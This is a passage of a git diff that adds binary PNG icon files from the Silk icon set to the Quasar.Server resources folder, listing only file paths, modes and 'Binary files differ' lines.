a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_add.png new file mode 100755 index 0000000..3554368 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_delete.png new file mode 100755 index 0000000..1349974 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png new file mode 100755 index 0000000..8138bbd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png new file mode 100755 index 0000000..3978b29 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_go.png new file mode 100755 index 0000000..ed8b9a5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png new file mode 100755 index 0000000..be62faa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_remove.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_remove.png new file mode 100755 index 0000000..04dd7fd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_remove.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png new file mode 100755 index 0000000..6e0015d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png new file mode 100755 index 0000000..7db01d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_delete.png new file mode 100755 index 0000000..23907bb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_error.png new file mode 100755 index 0000000..a0ddc00 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png new file mode 100755 index 0000000..b89bb34 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_link.png new file mode 100755 index 0000000..b8c64af Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png new file mode 100755 index 0000000..350c5e1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_closed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_closed.png new file mode 100755 index 0000000..29fb5f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_closed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png new file mode 100755 index 0000000..6972052 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png new file mode 100755 index 0000000..1be3797 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png new file mode 100755 index 0000000..b0f4dd7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png new file mode 100755 index 0000000..e2f0847 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png new file mode 100755 index 0000000..b73419b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png new file mode 100755 index 0000000..d9a6340 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_edit.png new file mode 100755 index 0000000..6e756cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_error.png new file mode 100755 index 0000000..f3fbed0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png new file mode 100755 index 0000000..cd4e196 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png new file mode 100755 index 0000000..d8e23ec Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png new file mode 100755 index 0000000..dd0820e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_next.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_next.png new file mode 100755 index 0000000..ff2ea1a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_next.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png new file mode 100755 index 0000000..7d863f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_previous.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_previous.png new file mode 100755 index 0000000..2e53c69 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_previous.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/box.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/box.png new file mode 100755 index 0000000..8443c23 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/box.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png new file mode 100755 index 0000000..97a152c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_add.png new file mode 100755 index 0000000..983bfb6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png new file mode 100755 index 0000000..3a8c373 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png new file mode 100755 index 0000000..eb06df3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_error.png new file mode 100755 index 0000000..18ab01e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_go.png new file mode 100755 index 0000000..fe0d335 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png new file mode 100755 index 0000000..9ebf013 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bricks.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bricks.png new file mode 100755 index 0000000..0905f93 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bricks.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png new file mode 100755 index 0000000..05c5649 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png new file mode 100755 index 0000000..2d5fb90 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png new file mode 100755 index 0000000..ced7817 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_delete.png new file mode 100755 index 0000000..e81d757 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_edit.png new file mode 100755 index 0000000..e5c7dc0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png new file mode 100755 index 0000000..c4e8c28 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_go.png new file mode 100755 index 0000000..4e4ae99 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_link.png new file mode 100755 index 0000000..30e25ab Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building.png new file mode 100755 index 0000000..11a017c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_add.png new file mode 100755 index 0000000..d88e2b9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_delete.png new file mode 100755 index 0000000..db6455d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_edit.png new file mode 100755 index 0000000..646db36 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png new file mode 100755 index 0000000..a342eef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_go.png new file mode 100755 index 0000000..cdcbcb3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png new file mode 100755 index 0000000..8b79e30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png new file mode 100755 index 0000000..a340629 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_add.png new file mode 100755 index 0000000..3998c7e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png new file mode 100755 index 0000000..1a28d82 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png new file mode 100755 index 0000000..9b23c06 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png new file mode 100755 index 0000000..0ce86d2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png new file mode 100755 index 0000000..24df0f4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png new file mode 100755 index 0000000..5761970 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_blue.png new file mode 100755 index 0000000..6c2b030 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png new file mode 100755 index 0000000..e2e4cd9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png new file mode 100755 index 0000000..209c6a7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_error.png new file mode 100755 index 0000000..bca2b49 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png new file mode 100755 index 0000000..1a0e0f1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_go.png new file mode 100755 index 0000000..ccf9548 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_green.png new file mode 100755 index 0000000..ac365ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_key.png new file mode 100755 index 0000000..c417b17 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png new file mode 100755 index 0000000..2ab15dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png new file mode 100755 index 0000000..386cb30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png new file mode 100755 index 0000000..7d2683e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png new file mode 100755 index 0000000..36cd3fc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png new file mode 100755 index 0000000..ead3b0b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_star.png new file mode 100755 index 0000000..9593fe0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_star.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_minus.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_minus.png new file mode 100755 index 0000000..b47ce55 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_minus.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_plus.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_plus.png new file mode 100755 index 0000000..9ab4a89 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_plus.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png new file mode 100755 index 0000000..a9af8d4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png new file mode 100755 index 0000000..26f2c1e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png new file mode 100755 index 0000000..a567d3b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cake.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cake.png new file mode 100755 index 0000000..4ef151a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cake.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png new file mode 100755 index 0000000..701a60a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_add.png new file mode 100755 index 0000000..fd377bd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_delete.png new file mode 100755 index 0000000..ac96170 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_edit.png new file mode 100755 index 0000000..63b06b9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png new file mode 100755 index 0000000..0bc4288 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_link.png new file mode 100755 index 0000000..a2a8fe6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png new file mode 100755 index 0000000..6589138 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png new file mode 100755 index 0000000..17679db Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png new file mode 100755 index 0000000..69a3b10 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_edit.png new file mode 100755 index 0000000..d1d2d6e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png new file mode 100755 index 0000000..6b106b9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_day.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_day.png new file mode 100755 index 0000000..9740f76 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_day.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_month.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_month.png new file mode 100755 index 0000000..6cff76c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_month.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png new file mode 100755 index 0000000..8fe695f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera.png new file mode 100755 index 0000000..8536d1a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png new file mode 100755 index 0000000..08b5da9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_delete.png new file mode 100755 index 0000000..3846d74 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png new file mode 100755 index 0000000..b5015b1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_error.png new file mode 100755 index 0000000..3c1bc95 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_go.png new file mode 100755 index 0000000..94ce2b2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png new file mode 100755 index 0000000..d2ac9f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png new file mode 100755 index 0000000..454b0b0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cancel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cancel.png new file mode 100755 index 0000000..c149c2b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cancel.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/car.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car.png new file mode 100755 index 0000000..4f3a770 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_add.png new file mode 100755 index 0000000..1215a51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png 